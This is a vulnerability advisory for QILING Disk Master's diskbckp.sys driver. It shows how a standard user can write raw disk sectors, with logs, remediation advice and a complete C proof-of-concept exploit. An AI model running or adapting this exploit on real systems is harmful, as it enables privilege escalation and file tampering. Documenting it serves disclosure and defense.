QILING Disk Master Kernel Driver diskbckp.sys 6, 0, 0, 0 Local Privilege Escalation

Summary

QILING Disk Master Free ships a kernel driver, `diskbckp.sys`, that exposes the device `\\.\diskbakdrv1` to a standard local user. A non-administrative user can open that device, attach a disk context, and issue an IOCTL that writes caller-controlled bytes to a selected raw disk offset.

The proof below uses only a temporary VHD and an administrator-only test file. The standard user cannot read or open the protected file for write through normal Windows file APIs, and cannot open the raw disk after the test volume is dismounted. The same user can still overwrite the file's raw NTFS clusters through the vendor driver.

An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.

Affected Product and Version

- Product: QILING Disk Master Free
- Installer product version: `8.7.6`
- Installer file version: `8.7.0.6`
- Driver: `diskbckp.sys`
- Driver file/product version: `6, 0, 0, 0`
- Driver SHA-256: `B4FD432A4A948D21069774439926B325D6C7EF9A621014A58B4BA4FC279BC9F8`
- Driver signature: Valid, `Microsoft Windows Hardware Compatibility Publisher`

Download URL and SHA-256

- Download URL: `https://www.idiskhome.com/download/vdisk/multi_DiskMaster_Free.exe`
- File name: `multi_DiskMaster_Free.exe`
- Installer SHA-256: `B0703FE415A5F17C3C1E319598B49FDEBAF6992AB97B924642F6ECC2F6E1C466`

- Installer signature: Valid, `Keroro Software Ltd`

Vulnerability Type

Local privilege escalation / arbitrary raw disk write through an unprotected kernel driver device interface.

Impact

A standard local user can write raw sectors on a caller-selected disk through `diskbckp.sys`. On a real system disk, raw write access can be used to tamper with protected files, registry hives, service configuration, boot files, or other privileged filesystem metadata that normal discretionary access controls prevent the user from modifying.

This validation intentionally wrote only to a temporary VHD created for the test.

Test Environment

- OS: Windows Server 2025 Datacenter Evaluation, 64-bit
- HAL: `10.0.26100.1`
- High-privilege setup user: local Administrator
- Attacker user: standard local user `WIN-R10EKFCBLSE\low`
- Attacker integrity level: Medium Mandatory Level
- Test object: `R:\protected\admin_only_flag.bin` on a temporary 96 MB VHD
- Test file ACL: `SYSTEM:F`, `Administrators:F`; inheritance removed

Driver Load / Setup Steps

The reproduction used a non-interactive setup path to avoid running the full GUI installer:

```
innoextract.exe --collisions rename -d C:\ProgramData\VendorRepro\qiling_diskbckp\extract
multi_DiskMaster_Free.exe
copy <extracted>\diskbckp.sys$24bit C:\ProgramData\VendorRepro\qiling_diskbckp\diskbckp_test.sys
sc.exe create diskbckp type= kernel start= demand binPath=
\??\C:\ProgramData\VendorRepro\qiling_diskbckp\diskbckp_test.sys
sc.exe start diskbckp
```

Service configuration during the test:

```
SERVICE_NAME: diskbckp
        TYPE               : 1  KERNEL_DRIVER
        START_TYPE         : 3   DEMAND_START
        BINARY_PATH_NAME   : \??\C:\ProgramData\VendorRepro\qiling_diskbckp\diskbckp_test.sys
```

Reproduction Steps

1. As Administrator, create and attach a temporary fixed-size VHD, format it as NTFS, and assign it drive letter `R:`.
2. Create `R:\protected\admin_only_flag.bin`, write a unique marker, then remove inherited ACLs and grant access only to `SYSTEM` and `Administrators`.
3. Resolve the file's first NTFS data run to a raw disk offset:

```
VCN: 0x0        Clusters: 0x5        LCN: 0x589
partition_offset=65536
bytes_per_cluster=4096
disk_offset=5869568
run_length=20480
```

4. Confirm as Administrator that the calculated raw disk offset contains the setup marker:

```
[ADMIN_RAW_READ] stage=before_exploit marker_found=True offset=5869568 bytes=20480 prefix=QILING-DISKBCKP-BEFORE-FLAG-4a4bc015-926e-422e-9c42-6fdb95945341RRRR...
```

5. As the standard user, confirm direct access is denied.
6. Dismount the volume with `mountvol.exe R: /p`.
7. As the same standard user, run the exploit against `\\.\diskbakdrv1`:

```
qiling_diskbckp_flag_rw_exploit.exe --mode write --write-ioctl read-primary --disk 1 --offset 5869568 --length 20480 --write-marker QILING-DISKBCKP-WRITE-FLAG-af2e4f7f-ba88-456d-b0de-e0147091e67a
```

The proof IOCTL is `0x810C2806`. The exploit opens `\\.\diskbakdrv1`, sends attach IOCTL `0x810C2008` for disk `1`, and then submits a direct-I/O request whose MDL contains a 20-byte sector request header followed by caller-controlled data.

Baseline Evidence

The attacker is a standard user at Medium integrity:

```
[IDENTITY] user=win-r10ekfcblse\low
Mandatory Label\Medium Mandatory Level
BUILTIN\Users                  Alias          S-1-5-32-545
```

Direct read and write-open attempts against the protected file fail:

```
[BASELINE] protected_read=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path
'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] protected_write_open=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path
'R:\protected\admin_only_flag.bin' is denied.
```

After the volume is dismounted, the same standard user cannot open the raw disk directly:

```
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5
```

Exploit Evidence

The standard user can open the vendor driver, attach the disk context, and issue the raw-sector write:

```
[DRIVER] open=SUCCESS path=\\.\diskbakdrv1
[DRIVER] attach=SUCCESS disk=1
[EXPLOIT_WRITE] success=True ioctl=read-primary code=0x810C2806 disk=1 offset=5869568 bytes=20480
[EXPLOIT_WRITE] marker=QILING-DISKBCKP-WRITE-FLAG-af2e4f7f-ba88-456d-b0de-e0147091e67a
[RESULT] write_ioctl_succeeded=True
```

After remounting the VHD, Administrator reads the protected file and sees that the standard user's marker replaced the original file contents:

```
[FILE_READBACK] stage=after_low_write before_marker_found=False write_marker_found=True length=20480
prefix=QILING-DISKBCKP-WRITE-FLAG-af2e4f7f-ba88-456d-b0de-e0147091e67aBBBB...
```

Why This Proves the Vulnerability

The test user is a standard user at Medium integrity. Windows denies that user direct file read access, direct file write-open access, and direct raw disk access in the exploit state. Nevertheless, the user can open `\\.\diskbakdrv1` and make `diskbckp.sys` write caller-controlled bytes to the raw disk

offset that backs an administrator-only file.

Therefore, the driver exposes privileged raw disk write functionality without enforcing the expected Windows access checks. This bypasses the file's DACL and the raw disk device access check.

Suggested Remediation

- Create the control device with a restrictive security descriptor, for example with `IoCreateDeviceSecure`, so standard users cannot open `\\.\diskbakdrv1`.
- Require administrative privilege for any IOCTL that attaches disk contexts or forwards raw disk reads/writes.
- Validate all caller-controlled disk numbers, offsets, lengths, and MDL buffers.
- Avoid exposing raw disk forwarding IOCTLs to untrusted local users. If raw disk access is required, broker it through a privileged service that performs explicit authorization and limits writes to intended product-owned objects.

POC

```
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define IOCTL_DISKBAK_ATTACH     0x810C2008u
#define IOCTL_DISKBAK_RAW_READ   0x810C2806u
#define IOCTL_DISKBAK_RAW_WRITE  0x810C280Au

#pragma pack(push, 1)
typedef struct DISKBAK_ATTACH_REQ {
    DWORD DiskNumber;
    DWORD Reserved;
} DISKBAK_ATTACH_REQ;

typedef struct DISKBAK_SECTOR_REQ {
```

```
    LONG DiskNumber;
    LONG PartitionNumber;
    ULONGLONG SectorIndex;
    DWORD SectorCount;
    BYTE Data[1];
} DISKBAK_SECTOR_REQ;
#pragma pack(pop)

static void usage(const wchar_t *prog)
{
    fwprintf(stderr,
        L"Usage:\n"
        L"  %ls --attach-only [--disk N]\n"
        L"  %ls --read OUT.bin [--disk N] [--partition N] [--sector N] [--count N] [--sector-size N]\n"
        L"  %ls --dangerous-write IN.bin [--disk N] [--partition N] [--sector N] [--count N] [--sector-size N]\n\n"
        L"Defaults: --disk 0 --partition 0 --sector 0 --count 1 --sector-size 512\n"
        L"Do not use --dangerous-write outside a disposable VM.\n",
        prog, prog, prog);
}

static int parse_u64(const wchar_t *s, ULONGLONG *out)
{
    wchar_t *end = NULL;
    unsigned long long v = wcstoull(s, &end, 0);
    if (!s[0] || (end && *end)) {
        return 0;
    }
    *out = (ULONGLONG)v;
    return 1;
}

static int parse_u32(const wchar_t *s, DWORD *out)
{
    ULONGLONG v = 0;
    if (!parse_u64(s, &v) || v > 0xffffffffULL) {
        return 0;
    }
    *out = (DWORD)v;
    return 1;
}
```

```
static int read_file_exact(const wchar_t *path, BYTE *buf, DWORD len)
{
    HANDLE h = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    DWORD got = 0;
    if (h == INVALID_HANDLE_VALUE) {
        fwprintf(stderr, L"[-] CreateFile(%ls) failed: %lu\n", path, GetLastError());
        return 0;
    }
    if (!ReadFile(h, buf, len, &got, NULL) || got != len) {
        fwprintf(stderr, L"[-] ReadFile expected %lu bytes, got %lu, err=%lu\n", len, got, GetLastError());
        CloseHandle(h);
        return 0;
    }
    CloseHandle(h);
    return 1;
}

static int write_file_exact(const wchar_t *path, const BYTE *buf, DWORD len)
{
    HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD wrote = 0;
    if (h == INVALID_HANDLE_VALUE) {
        fwprintf(stderr, L"[-] CreateFile(%ls) failed: %lu\n", path, GetLastError());
        return 0;
    }
    if (!WriteFile(h, buf, len, &wrote, NULL) || wrote != len) {
        fwprintf(stderr, L"[-] WriteFile expected %lu bytes, wrote %lu, err=%lu\n", len, wrote, GetLastError());
        CloseHandle(h);
        return 0;
    }
    CloseHandle(h);
    return 1;
}

int wmain(int argc, wchar_t **argv)
{
    DWORD disk = 0;
    DWORD partition = 0;
    DWORD count = 1;
```

```
DWORD sector_size = 512;
ULONGLONG sector = 0;
const wchar_t *read_out = NULL;
const wchar_t *write_in = NULL;
int attach_only = 0;
int do_write = 0;
HANDLE h;
DISKBAK_ATTACH_REQ attach_req;
DWORD bytes = 0;
SIZE_T total;
DISKBAK_SECTOR_REQ *req;
DWORD data_len;
BOOL ok;

for (int i = 1; i < argc; ++i) {
    if (!_wcsicmp(argv[i], L"--disk") && i + 1 < argc) {
        if (!parse_u32(argv[++i], &disk)) {
            fwprintf(stderr, L"[-] Invalid disk number\n");
            return 2;
        }
    } else if (!_wcsicmp(argv[i], L"--partition") && i + 1 < argc) {
        if (!parse_u32(argv[++i], &partition)) {
            fwprintf(stderr, L"[-] Invalid partition number\n");
            return 2;
        }
    } else if (!_wcsicmp(argv[i], L"--sector") && i + 1 < argc) {
        if (!parse_u64(argv[++i], &sector)) {
            fwprintf(stderr, L"[-] Invalid sector index\n");
            return 2;
        }
    } else if (!_wcsicmp(argv[i], L"--count") && i + 1 < argc) {
        if (!parse_u32(argv[++i], &count) || count == 0) {
            fwprintf(stderr, L"[-] Invalid sector count\n");
            return 2;
        }
    } else if (!_wcsicmp(argv[i], L"--sector-size") && i + 1 < argc) {
        if (!parse_u32(argv[++i], &sector_size) || sector_size == 0) {
            fwprintf(stderr, L"[-] Invalid sector size\n");
            return 2;
        }
```

```
    } else if (!_wcsicmp(argv[i], L"--read") && i + 1 < argc) {
        read_out = argv[++i];
    } else if (!_wcsicmp(argv[i], L"--dangerous-write") && i + 1 < argc) {
        write_in = argv[++i];
        do_write = 1;
    } else if (!_wcsicmp(argv[i], L"--attach-only")) {
        attach_only = 1;
    } else {
        usage(argv[0]);
        return 2;
    }
}

if (!attach_only && !read_out && !do_write) {
    usage(argv[0]);
    return 2;
}
if (read_out && do_write) {
    fwprintf(stderr, L"[-] Choose either --read or --dangerous-write, not both.\n");
    return 2;
}
if (count > (0xffffffffu / sector_size)) {
    fwprintf(stderr, L"[-] count * sector-size overflows 32-bit length.\n");
    return 2;
}

h = CreateFileW(L"\\\\.\\diskbakdrv1",
                GENERIC_READ | GENERIC_WRITE,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                NULL,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                NULL);
if (h == INVALID_HANDLE_VALUE) {
    DWORD first_err = GetLastError();
    h = CreateFileW(L"\\\\.\\diskbakdrv1",
                    0,
                    FILE_SHARE_READ | FILE_SHARE_WRITE,
                    NULL,
                    OPEN_EXISTING,
```

```
                    FILE_ATTRIBUTE_NORMAL,
                    NULL);
    if (h == INVALID_HANDLE_VALUE) {
        fwprintf(stderr, L"[-] Open \\\\.\\diskbakdrv1 failed: %lu (RW attempt was %lu)\n",
                 GetLastError(), first_err);
        return 1;
    }
    fwprintf(stderr, L"[i] Opened with desired access 0 after RW open failed (%lu).\n", first_err);
}

ZeroMemory(&attach_req, sizeof(attach_req));
attach_req.DiskNumber = disk;
ok = DeviceIoControl(h,
                    IOCTL_DISKBAK_ATTACH,
                    &attach_req,
                    sizeof(attach_req),
                    NULL,
                    0,
                    &bytes,
                    NULL);
if (!ok) {
    fwprintf(stderr, L"[-] IOCTL_DISKBAK_ATTACH failed: %lu\n", GetLastError());
    CloseHandle(h);
    return 1;
}
wprintf(L"[+] Attached driver context for disk %lu\n", disk);

if (attach_only) {
    CloseHandle(h);
    return 0;
}

data_len = count * sector_size;
total = (SIZE_T)FIELD_OFFSET(DISKBAK_SECTOR_REQ, Data) + (SIZE_T)data_len;
if (total > 0xffffffffULL) {
    fwprintf(stderr, L"[-] Request too large.\n");
    CloseHandle(h);
    return 2;
}
```

```
    req = (DISKBAK_SECTOR_REQ *)calloc(1, total);
    if (!req) {
        fwprintf(stderr, L"[-] calloc failed.\n");
        CloseHandle(h);
        return 1;
    }
    req->DiskNumber = (LONG)disk;
    req->PartitionNumber = (LONG)partition;
    req->SectorIndex = sector;
    req->SectorCount = count;

    if (do_write) {
        if (!read_file_exact(write_in, req->Data, data_len)) {
            free(req);
            CloseHandle(h);
            return 1;
        }
        fwprintf(stderr, L"[!] VM-only dangerous write: disk=%lu partition=%lu sector=%llu count=%lu
bytes=%lu\n",
                 disk, partition, sector, count, data_len);
        ok = DeviceIoControl(h,
                             IOCTL_DISKBAK_RAW_WRITE,
                             NULL,
                             0,
                             req,
                             (DWORD)total,
                             &bytes,
                             NULL);
        if (!ok) {
            fwprintf(stderr, L"[-] IOCTL_DISKBAK_RAW_WRITE failed: %lu\n", GetLastError());
            free(req);
            CloseHandle(h);
            return 1;
        }
        wprintf(L"[+] Raw write IOCTL returned success.\n");
    } else {
        ok = DeviceIoControl(h,
                             IOCTL_DISKBAK_RAW_READ,
                             NULL,
                             0,
```

```
                    req,
                    (DWORD)total,
                    &bytes,
                    NULL);
        if (!ok) {
            fwprintf(stderr, L"[-] IOCTL_DISKBAK_RAW_READ failed: %lu\n", GetLastError());
            free(req);
            CloseHandle(h);
            return 1;
        }
        if (!write_file_exact(read_out, req->Data, data_len)) {
            free(req);
            CloseHandle(h);
            return 1;
        }
        wprintf(L"[+] Wrote %lu bytes to %ls\n", data_len, read_out);
    }

    free(req);
    CloseHandle(h);
    return 0;
}
```

Revision #3
Created 20 May 2026 16:05:07 by winslow
Updated 20 May 2026 17:08:17 by winslow